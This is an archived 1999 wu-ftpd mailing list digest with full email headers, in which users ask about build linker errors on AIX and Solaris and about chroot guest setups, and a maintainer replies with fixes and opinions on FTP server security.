Received: from rei.br (ds.rei.br [200.241.160.21])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id OAA09862
for <[email protected]>; Wed, 24 Mar 1999 14:04:33 -0600 (CST)
Received: (from aaw@localhost)
by rei.br (8.9.2/8.9.2) id RAA20286
for [email protected]; Wed, 24 Mar 1999 17:04:22 -0300
Message-Id: <[email protected]>
Date: Wed, 24 Mar 1999 17:04:22 -0300
Reply-To: [email protected]
Sender: [email protected]
From: Alexandre Almeida Wanderley <[email protected]>
To: [email protected]
Subject: AIX compiling problems (vr16)
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-MD5: lH4zxTGBLLxMuENVBXNFMg==
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Hi, all

I'm trying to build (using gcc-2.8.1) vr16 on our AIX (4.x) station.
Everything builds (almost) ok: ftpcount, ftpshut, ftpwho, ckconfig. Except
the ftpd... See what i'm getting from gcc:

gcc -L../support -o ftpd ftpd.o ftpcmd.o glob.o logwtmp.o popen.o vers.o access.o extensions.o realpath.o acl.o private.o authenticate.o conversions.o hostacc.o sigfix.o routevector.o restrict.o -lsupport -ls
collect2: ld returned 8 exit status
ld: 0711-317 ERROR: Undefined symbol: .snprintf
ld: 0711-317 ERROR: Undefined symbol: .vsnprintf
ld: 0711-345 Use the -bloadmap or -bnoquiet option to obtain more information.
make: The error code from the last command is 1.

Did any body get the same error? How could I fix it...?

NOTE: vr14 was built fine...

Thanks the attention,

Alexandre Almeida

From [email protected] Wed Mar 24 14:31:28 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id OAA20364;
Wed, 24 Mar 1999 14:31:27 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id OAA04627;
Wed, 24 Mar 1999 14:26:26 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id OAA14135
for <[email protected]>; Wed, 24 Mar 1999 14:20:38 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id PAA22275;
Wed, 24 Mar 1999 15:19:08 -0500
Message-Id: <[email protected]>
Date: Wed, 24 Mar 1999 15:19:08 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Alexandre Almeida Wanderley <[email protected]>
Cc: [email protected]
Subject: Re: AIX compiling problems (vr16)
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Wed, 24 Mar 1999, Alexandre Almeida Wanderley wrote:

> ld: 0711-317 ERROR: Undefined symbol: .snprintf
> ld: 0711-317 ERROR: Undefined symbol: .vsnprintf

Dunno when/if I chnaged this, but looking in
support/makefiles/Makefile.aix, I see:

# Pre-AIX 4.2 may need this instead
# SRCS = getusershell.c fnmatch.c strcasestr.c strsep.c \
# authuser.c strdup.c snprintf.c
# OBJS = getusershell.o fnmatch.o strcasestr.o strsep.o \
# authuser.o strdup.o snprintf.o
SRCS = getusershell.c fnmatch.c strcasestr.c strsep.c \
authuser.c
OBJS = getusershell.o fnmatch.o strcasestr.o strsep.o \
authuser.o

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Wed Mar 24 14:33:03 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id OAA20394;
Wed, 24 Mar 1999 14:33:02 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id OAA22187;
Wed, 24 Mar 1999 14:28:02 -0600 (CST)
Received: from silver168.mminternet.com (silver168.mminternet.com [209.241.149.168])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id OAA05957
for <[email protected]>; Wed, 24 Mar 1999 14:22:42 -0600 (CST)
Received: from localhost (levl289@localhost)
by silver168.mminternet.com (8.8.7/8.8.7) with SMTP id MAA00875
for <[email protected]>; Wed, 24 Mar 1999 12:23:55 -0800
Message-Id: <Pine.LNX.3.96.990324121421.873A-100000@silver168>
Date: Wed, 24 Mar 1999 12:23:55 -0800 (PST)
Reply-To: [email protected]
Sender: [email protected]
From: Lev Lvovsky <[email protected]>
To: wu-ftpd mailing list <[email protected]>
Subject: chroot confusion & other ftp daemons
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Sender: levl289@silver168
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

hello,

I was recently on this list until school caused me to unscsubscribe...I'm
back on, packin' an ADSL connection :).

I've got some questions RE the complicated and confusing concept of
chroot'ing users...here's what I want to do:

I'm going to be running a non-anonymous FTP site, with users who may or
may not have regular accounts on my server (read: shell accounts). What
I'd like to do is have the non-shell users pop into their own directory,
and not be able to peruse the rest of the server. These users would then
be able to 'cd' into a directory where they can both UL and DL files (kind
of like an incoming, but with visible files). The regular users would
have a similar link to this directory in their own dir, but also the
ability to peruse the rest of the server...I was able to do this with
win32 clients, but I'd like to learn how to do this with *nix (Debian
Linux in particular).

Also, does anyone have any comments RE ProFTPD? Security etc...Please
e-mail me privately :)

thanks so much!!!
-lev

From [email protected] Wed Mar 24 14:38:32 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id OAA20494;
Wed, 24 Mar 1999 14:38:31 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id OAA23880;
Wed, 24 Mar 1999 14:33:28 -0600 (CST)
Received: from rei.br (ds.rei.br [200.241.160.21])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id OAA10056
for <[email protected]>; Wed, 24 Mar 1999 14:32:11 -0600 (CST)
Received: (from aaw@localhost)
by rei.br (8.9.2/8.9.2) id RAA23790
for [email protected]; Wed, 24 Mar 1999 17:32:08 -0300
Message-Id: <[email protected]>
Date: Wed, 24 Mar 1999 17:32:08 -0300
Reply-To: [email protected]
Sender: [email protected]
From: Alexandre Almeida Wanderley <[email protected]>
To: [email protected]
Subject: Re: AIX compiling problems (vr16)
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-MD5: uRPWAyPOJzyhBEpYe9B0Og==
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Hi, Greg

Yup, it worked...
I should have been more curious about looking for the solution... :\

Many thanks,

Alexandre
>
> On Wed, 24 Mar 1999, Alexandre Almeida Wanderley wrote:
>
> > ld: 0711-317 ERROR: Undefined symbol: .snprintf
> > ld: 0711-317 ERROR: Undefined symbol: .vsnprintf
>
> Dunno when/if I chnaged this, but looking in
> support/makefiles/Makefile.aix, I see:
>
> # Pre-AIX 4.2 may need this instead
> # SRCS = getusershell.c fnmatch.c strcasestr.c strsep.c \
> # authuser.c strdup.c snprintf.c
> # OBJS = getusershell.o fnmatch.o strcasestr.o strsep.o \
> # authuser.o strdup.o snprintf.o
> SRCS = getusershell.c fnmatch.c strcasestr.c strsep.c \
> authuser.c
> OBJS = getusershell.o fnmatch.o strcasestr.o strsep.o \
> authuser.o
>

From [email protected] Wed Mar 24 14:57:50 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id OAA20809;
Wed, 24 Mar 1999 14:57:49 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id OAA04729;
Wed, 24 Mar 1999 14:52:50 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id OAA19207
for <[email protected]>; Wed, 24 Mar 1999 14:51:16 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id PAA22543;
Wed, 24 Mar 1999 15:51:08 -0500
Message-Id: <[email protected]>
Date: Wed, 24 Mar 1999 15:51:08 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Lev Lvovsky <[email protected]>
Cc: wu-ftpd mailing list <[email protected]>
Subject: Re: chroot confusion & other ftp daemons
In-Reply-To: <Pine.LNX.3.96.990324121421.873A-100000@silver168>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Wed, 24 Mar 1999, Lev Lvovsky wrote:

> I'm going to be running a non-anonymous FTP site, with users who may
> or may not have regular accounts on my server (read: shell accounts).
> What I'd like to do is have the non-shell users pop into their own
> directory, and not be able to peruse the rest of the server. These
> users would then be able to 'cd' into a directory where they can both
> UL and DL files (kind of like an incoming, but with visible files).
> The regular users would have a similar link to this directory in their
> own dir, but also the ability to peruse the rest of the server...I was
> able to do this with win32 clients, but I'd like to learn how to do
> this with *nix (Debian Linux in particular).

Sounds like a standard guest setup. I'd recommend setting up the
owning-users as guests too .. examples of all this are in my site:

ftp://ftp.vr.net/pub/wu-ftpd/examples/

and some discussion of the issues is in upload.configuration.HOWTO the
guest HOWTO and the FAQ

The location of the latest version of wu-ftpd can be found in the
directory

ftp://ftp.vr.net/pub/wu-ftpd/

wu-ftpd Resource Center: http://www.landfield.com/wu-ftpd/
wu-ftpd FAQ: http://www.cetis.hvu.nl/~koos/wu-ftpd-faq.html
wu-ftpd list archive: http://www.landfield.com/wu-ftpd/mail-archive/

If there's sufficient interest, I could be prevailed upon to write a
power-guest HOWTO showing how to guests, and guest-of-guests, on virtual
hosts. With or without anonymous access on the virtual hosts; with or
without guest or guest-of-guest access on the default server; using all
the advanced features of the VR version.

> Also, does anyone have any comments RE ProFTPD? Security etc...Please
> e-mail me privately :)

Age before beauty. ProFTPD may look sexy but where's the track record?
No security advisories means just that: no advisories. It doesn't mean no
security problems. ITOH a history of advisories shows long-term use and
correction of problems.

Personally, I'm more comfortable with servers which HAVE had a few CERT
advisories (and been corrected) than I am with ones which have not. I am
especially leary of any server maintainer who proudly points to a lack of
advisories, or makes claims of security with no appearent history to back
those claims.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Wed Mar 24 15:31:27 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id PAA21393;
Wed, 24 Mar 1999 15:31:26 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id PAA18109;
Wed, 24 Mar 1999 15:25:24 -0600 (CST)
Received: from silver168.mminternet.com (silver168.mminternet.com [209.241.149.168])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id PAA26251
for <[email protected]>; Wed, 24 Mar 1999 15:18:48 -0600 (CST)
Received: from localhost (levl289@localhost)
by silver168.mminternet.com (8.8.7/8.8.7) with SMTP id NAA00981
for <[email protected]>; Wed, 24 Mar 1999 13:20:01 -0800
Message-Id: <Pine.LNX.3.96.990324131741.974B-100000@silver168>
Date: Wed, 24 Mar 1999 13:20:01 -0800 (PST)
Reply-To: [email protected]
Sender: [email protected]
From: Lev Lvovsky <[email protected]>
To: [email protected]
Cc: wu-ftpd mailing list <[email protected]>
Subject: Re: chroot confusion & other ftp daemons
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Sender: levl289@silver168
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

this site is confusing...there are several of the same-named files in the
various directories...none of them very self explanatory ;)

thanks
-lev

> ftp://ftp.vr.net/pub/wu-ftpd/examples/

From [email protected] Wed Mar 24 15:31:46 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id PAA21401;
Wed, 24 Mar 1999 15:31:45 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id PAA22495;
Wed, 24 Mar 1999 15:26:36 -0600 (CST)
Received: from neo.ZONE.NET (neo.zone.net [198.240.0.2])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id PAA23467
for <[email protected]>; Wed, 24 Mar 1999 15:23:31 -0600 (CST)
Received: from localhost (jan@localhost) by neo.ZONE.NET (8.8.8/970824) with SMTP id QAA10325 for <[email protected]>; Wed, 24 Mar 1999 16:23:31 -0500 (EST)
Message-Id: <[email protected]>
Date: Wed, 24 Mar 1999 16:23:31 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Jan Simek <[email protected]>
To: [email protected]
Subject: referencing error (Solaris 2.7)
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Hi,

on Solaris 7, compiling 2.4.2-vr16, all goes ok except ftpd.
Any suggestions?

Thanks,
--Jan

============================================================================
Making ftpd.
Makefile:71: warning: overriding commands for target `ftpcount'
Makefile:28: warning: ignoring old commands for target `ftpcount'
Makefile:74: warning: overriding commands for target `ftpshut'
Makefile:31: warning: ignoring old commands for target `ftpshut'
Makefile:77: warning: overriding commands for target `ftpd'
Makefile:37: warning: ignoring old commands for target `ftpd'
Makefile:80: warning: overriding commands for target `ckconfig'
Makefile:34: warning: ignoring old commands for target `ckconfig'
Makefile:87: warning: overriding commands for target `clean'
Makefile:46: warning: ignoring old commands for target `clean'
Makefile:93: warning: overriding commands for target `cleandir'
Makefile:50: warning: ignoring old commands for target `cleandir'
Makefile:96: warning: overriding commands for target `depend'
Makefile:53: warning: ignoring old commands for target `depend'
Makefile:99: warning: overriding commands for target `lint'
Makefile:56: warning: ignoring old commands for target `lint'
Makefile:102: warning: overriding commands for target `tags'
Makefile:59: warning: ignoring old commands for target `tags'
Makefile:149: warning: overriding commands for target `vers.c'
Makefile:43: warning: ignoring old commands for target `vers.c'
gcc -O -O2 -O3 -O4 -I.. -I../support -L../support -s -DDEBUG -DVIRTUAL
-c ftpd.c -o ftpd.o
yacc ftpcmd.y
mv -f y.tab.c ftpcmd.c
gcc -O -O2 -O3 -O4 -I.. -I../support -L../support -s -DDEBUG -DVIRTUAL
-c ftpcmd.c -o ftpcmd.o
gcc -O -O2 -O3 -O4 -I.. -I../support -L../support -s -DDEBUG -DVIRTUAL
-c glob.c -o glob.o
gcc -O -O2 -O3 -O4 -I.. -I../support -L../support -s -DDEBUG -DVIRTUAL
-c logwtmp.c -o logwtmp.o
gcc -O -O2 -O3 -O4 -I.. -I../support -L../support -s -DDEBUG -DVIRTUAL
-c popen.c -o popen.o
sh newvers.sh
gcc -O -O2 -O3 -O4 -I.. -I../support -L../support -s -DDEBUG -DVIRTUAL
-c vers.c -o vers.o
gcc -O -O2 -O3 -O4 -I.. -I../support -L../support -s -DDEBUG -DVIRTUAL
-c access.c -o access.o
gcc -O -O2 -O3 -O4 -I.. -I../support -L../support -s -DDEBUG -DVIRTUAL
-c extensions.c -o extensions.o
gcc -O -O2 -O3 -O4 -I.. -I../support -L../support -s -DDEBUG -DVIRTUAL
-c realpath.c -o realpath.o
gcc -O -O2 -O3 -O4 -I.. -I../support -L../support -s -DDEBUG -DVIRTUAL
-c acl.c -o acl.o
gcc -O -O2 -O3 -O4 -I.. -I../support -L../support -s -DDEBUG -DVIRTUAL
-c private.c -o private.o
gcc -O -O2 -O3 -O4 -I.. -I../support -L../support -s -DDEBUG -DVIRTUAL
-c authenticate.c -o authenticate.o
gcc -O -O2 -O3 -O4 -I.. -I../support -L../support -s -DDEBUG -DVIRTUAL
-c conversions.c -o conversions.o
gcc -O -O2 -O3 -O4 -I.. -I../support -L../support -s -DDEBUG -DVIRTUAL
-c hostacc.c -o hostacc.o
gcc -O -O2 -O3 -O4 -I.. -I../support -L../support -s -DDEBUG -DVIRTUAL
-c sigfix.c -o sigfix.o
gcc -O -O2 -O3 -O4 -I.. -I../support -L../support -s -DDEBUG -DVIRTUAL
-c routevector.c -o routevector.o
gcc -O -O2 -O3 -O4 -I.. -I../support -L../support -s -DDEBUG -DVIRTUAL
-c restrict.c -o restrict.o
gcc -L../support -s -o ftpd ftpd.o ftpcmd.o glob.o logwtmp.o popen.o
vers.o access.o extensions.o realpath.o acl.o private.o authenticate.o
conversions.o hostacc.o sigfix.o routevector.o restrict.o
Undefined first referenced
symbol in file
socket ftpd.o
getpeername ftpd.o
gethostbyname ftpd.o
accept ftpd.o
bind ftpd.o
setsockopt ftpd.o
getservbyname ftpd.o
gethostbyaddr ftpd.o
inet_addr routevector.o
inet_ntoa ftpd.o
strsep private.o
getsockname ftpd.o
strcasestr access.o
listen ftpd.o
connect ftpd.o
ld: fatal: Symbol referencing errors. No output written to ftpd
make: *** [ftpd] Error 1

From [email protected] Wed Mar 24 16:03:56 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id QAA21885;
Wed, 24 Mar 1999 16:03:55 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id PAA23783;
Wed, 24 Mar 1999 15:58:43 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id PAA30678
for <[email protected]>; Wed, 24 Mar 1999 15:53:17 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id QAA23125;
Wed, 24 Mar 1999 16:53:09 -0500
Message-Id: <[email protected]>
Date: Wed, 24 Mar 1999 16:53:09 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Lev Lvovsky <[email protected]>
Cc: wu-ftpd mailing list <[email protected]>
Subject: Re: chroot confusion & other ftp daemons
In-Reply-To: <Pine.LNX.3.96.990324131741.974B-100000@silver168>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Wed, 24 Mar 1999, Lev Lvovsky wrote:

> this site is confusing...there are several of the same-named files in
> the various directories...none of them very self explanatory ;)

> > ftp://ftp.vr.net/pub/wu-ftpd/examples/

you mean 'passwd' 'group' .. names like that? I don't explain the files
because I expect any Unix admin will know what they are.

You want to chroot, you have to recreate enough of the filesystem to be
usable. The files have to have the same name because the do the same
thing and the software wants to open by that name.

If you see a file '/home/users/etc/passwd' it's the '/etc/passwd' for
people who are chroot'd to '/home/users'.

If you don't know what '/etc/passwd' is, go back to Windows and tell your
boss to hire a Unix admin to take over your job.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Wed Mar 24 16:10:29 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id QAA21999;
Wed, 24 Mar 1999 16:10:28 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id QAA26750;
Wed, 24 Mar 1999 16:05:07 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id QAA02872
for <[email protected]>; Wed, 24 Mar 1999 16:02:11 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id QAA23173;
Wed, 24 Mar 1999 16:58:55 -0500
Message-Id: <[email protected]>
Date: Wed, 24 Mar 1999 16:58:55 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Jan Simek <[email protected]>
Cc: [email protected]
Subject: Re: referencing error (Solaris 2.7)
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Wed, 24 Mar 1999, Jan Simek wrote:

> on Solaris 7, compiling 2.4.2-vr16, all goes ok except ftpd.

> Undefined first referenced
> symbol in file

> socket ftpd.o
> getpeername ftpd.o
> gethostbyname ftpd.o
> accept ftpd.o
> bind ftpd.o
> setsockopt ftpd.o
> getservbyname ftpd.o
> gethostbyaddr ftpd.o
> inet_addr routevector.o
> inet_ntoa ftpd.o
> strsep private.o
> getsockname ftpd.o
> strcasestr access.o
> listen ftpd.o
> connect ftpd.o

strcasestr is provided in the support directory for systems which don't
have it (yours doesn't so it's buit for you).

The others are missing libraries.

First .. did you do a './build sol'? If so, do './build clean' first,
then './build sol' and see if that helps. If not, that's your problem.

If you did './build sol' and './build clean' doesn't fix you up your
system is missing several POSIX functions and you should try to find them.
Maybe they're moved. Maybe they're still on the CD/tape.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Wed Mar 24 16:16:45 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id QAA22100;
Wed, 24 Mar 1999 16:16:45 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id QAA05086;
Wed, 24 Mar 1999 16:11:37 -0600 (CST)
Received: from gw1.bfg.com (gateway.bfg.com [131.187.253.2])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id QAA12702
for <[email protected]>; Wed, 24 Mar 1999 16:05:32 -0600 (CST)
Received: (from uucp@localhost)
by gw1.bfg.com (8.8.8/8.8.8) id RAA22802;
Wed, 24 Mar 1999 17:02:07 -0500 (EST)
Received: from testns3.bfg.com(170.126.231.77) by gw1.bfg.com via smap (V2.1)
id sma022330; Wed, 24 Mar 99 17:01:29 -0500
Received: from localhost (keller@localhost)
by testns3.bfg.com (8.9.3/8.9.3) with ESMTP id RAA02221;
Wed, 24 Mar 1999 17:01:28 -0500 (EST)
Message-Id: <[email protected]>
Date: Wed, 24 Mar 1999 17:01:28 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Ted Keller <[email protected]>
To: Jan Simek <[email protected]>
Cc: [email protected]
Subject: Re: referencing error (Solaris 2.7)
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Jan,

I just built it on a solaris 2.7 (using gcc-2.8.1) and all built good.
Please verify that you have the /usr/lib/libc.a and /usr/lib/libc.so files
loaded on your system. Many of the missing entries should be located
there. These should be loaded if you selected the developer options
during the solaris install.

ted keller - bfg.com

on Wed, 24 Mar 1999, Jan Simek wrote:

> Hi,
>
> on Solaris 7, compiling 2.4.2-vr16, all goes ok except ftpd.
> Any suggestions?
>
> Thanks,
> --Jan
>
> ============================================================================
> Making ftpd.
> Makefile:71: warning: overriding commands for target `ftpcount'
> Makefile:28: warning: ignoring old commands for target `ftpcount'
> Makefile:74: warning: overriding commands for target `ftpshut'
> Makefile:31: warning: ignoring old commands for target `ftpshut'
> Makefile:77: warning: overriding commands for target `ftpd'
> Makefile:37: warning: ignoring old commands for target `ftpd'
> Makefile:80: warning: overriding commands for target `ckconfig'
> Makefile:34: warning: ignoring old commands for target `ckconfig'
> Makefile:87: warning: overriding commands for target `clean'
> Makefile:46: warning: ignoring old commands for target `clean'
> Makefile:93: warning: overriding commands for target `cleandir'
> Makefile:50: warning: ignoring old commands for target `cleandir'
> Makefile:96: warning: overriding commands for target `depend'
> Makefile:53: warning: ignoring old commands for target `depend'
> Makefile:99: warning: overriding commands for target `lint'
> Makefile:56: warning: ignoring old commands for target `lint'
> Makefile:102: warning: overriding commands for target `tags'
> Makefile:59: warning: ignoring old commands for target `tags'
> Makefile:149: warning: overriding commands for target `vers.c'
> Makefile:43: warning: ignoring old commands for target `vers.c'
> gcc -O -O2 -O3 -O4 -I.. -I../support -L../support -s -DDEBUG -DVIRTUAL
> -c ftpd.c -o ftpd.o
> yacc ftpcmd.y
> mv -f y.tab.c ftpcmd.c
> gcc -O -O2 -O3 -O4 -I.. -I../support -L../support -s -DDEBUG -DVIRTUAL
> -c ftpcmd.c -o ftpcmd.o
> gcc -O -O2 -O3 -O4 -I.. -I../support -L../support -s -DDEBUG -DVIRTUAL
> -c glob.c -o glob.o
> gcc -O -O2 -O3 -O4 -I.. -I../support -L../support -s -DDEBUG -DVIRTUAL
> -c logwtmp.c -o logwtmp.o
> gcc -O -O2 -O3 -O4 -I.. -I../support -L../support -s -DDEBUG -DVIRTUAL
> -c popen.c -o popen.o
> sh newvers.sh
> gcc -O -O2 -O3 -O4 -I.. -I../support -L../support -s -DDEBUG -DVIRTUAL
> -c vers.c -o vers.o
> gcc -O -O2 -O3 -O4 -I.. -I../support -L../support -s -DDEBUG -DVIRTUAL
> -c access.c -o access.o
> gcc -O -O2 -O3 -O4 -I.. -I../support -L../support -s -DDEBUG -DVIRTUAL
> -c extensions.c -o extensions.o
> gcc -O -O2 -O3 -O4 -I.. -I../support -L../support -s -DDEBUG -DVIRTUAL
> -c realpath.c -o realpath.o
> gcc -O -O2 -O3 -O4 -I.. -I../support -L../support -s -DDEBUG -DVIRTUAL
> -c acl.c -o acl.o
> gcc -O -O2 -O3 -O4 -I.. -I../support -L../support -s -DDEBUG -DVIRTUAL
> -c private.c -o private.o
> gcc -O -O2 -O3 -O4 -I.. -I../support -L../support -s -DDEBUG -DVIRTUAL
> -c authenticate.c -o authenticate.o
> gcc -O -O2 -O3 -O4 -I.. -I../support -L../support -s -DDEBUG -DVIRTUAL
> -c conversions.c -o conversions.o
> gcc -O -O2 -O3 -O4 -I.. -I../support -L../support -s -DDEBUG -DVIRTUAL
> -c hostacc.c -o hostacc.o
> gcc -O -O2 -O3 -O4 -I.. -I../support -L../support -s -DDEBUG -DVIRTUAL
> -c sigfix.c -o sigfix.o
> gcc -O -O2 -O3 -O4 -I.. -I../support -L../support -s -DDEBUG -DVIRTUAL
> -c routevector.c -o routevector.o
> gcc -O -O2 -O3 -O4 -I.. -I../support -L../support -s -DDEBUG -DVIRTUAL
> -c restrict.c -o restrict.o
> gcc -L../support -s -o ftpd ftpd.o ftpcmd.o glob.o logwtmp.o popen.o
> vers.o access.o extensions.o realpath.o acl.o private.o authenticate.o
> conversions.o hostacc.o sigfix.o routevector.o restrict.o
> Undefined first referenced
> symbol in file
> socket ftpd.o
> getpeername ftpd.o
> gethostbyname ftpd.o
> accept ftpd.o
> bind ftpd.o
> setsockopt ftpd.o
> getservbyname ftpd.o
> gethostbyaddr ftpd.o
> inet_addr routevector.o
> inet_ntoa ftpd.o
> strsep private.o
> getsockname ftpd.o
> strcasestr access.o
> listen ftpd.o
> connect ftpd.o
> ld: fatal: Symbol referencing errors. No output written to ftpd
> make: *** [ftpd] Error 1
>
>

From [email protected] Wed Mar 24 16:28:29 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id QAA22273;
Wed, 24 Mar 1999 16:28:28 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id QAA20324;
Wed, 24 Mar 1999 16:23:03 -0600 (CST)
Received: from bajan.pct.edu ([12.4.137.254])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id QAA10621
for <[email protected]>; Wed, 24 Mar 1999 16:20:32 -0600 (CST)
Received: from localhost (dhill@localhost [127.0.0.1])
by bajan.pct.edu (8.8.7/8.8.7) with ESMTP id RAA02992
for <[email protected]>; Wed, 24 Mar 1999 17:21:13 -0500
Message-Id: <[email protected]>
Date: Wed, 24 Mar 1999 17:21:13 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Duncan Hill <[email protected]>
To: wu-ftpd mailing list <[email protected]>
Subject: Chroot not working for real user
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Sender: [email protected]
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

I have beta 18 of wu up and running, but have noticed that chrooting
of a regular user doesn't seem to work. The passwd entry has a /./ at
the end of their path, yet when they type pwd, they can see the entire
tree above them, and run around on the server. So far, since its only
faculty, none of them have tried that (and the permissions allow read
only), but I still need to be able to lock them into their dir and
below.

Box is AIX 4.3 (and my linux box appears to exhibit this as well).
Would appreciate any help, preferrably off the list.

--

Duncan Hill Sapere aude
One net to rule them all, One net to find them,
One net to bring them all, and using Unix bind them.

From [email protected] Wed Mar 24 16:41:10 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id QAA22460;
Wed, 24 Mar 1999 16:41:09 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id QAA11198;
Wed, 24 Mar 1999 16:35:52 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id QAA20676
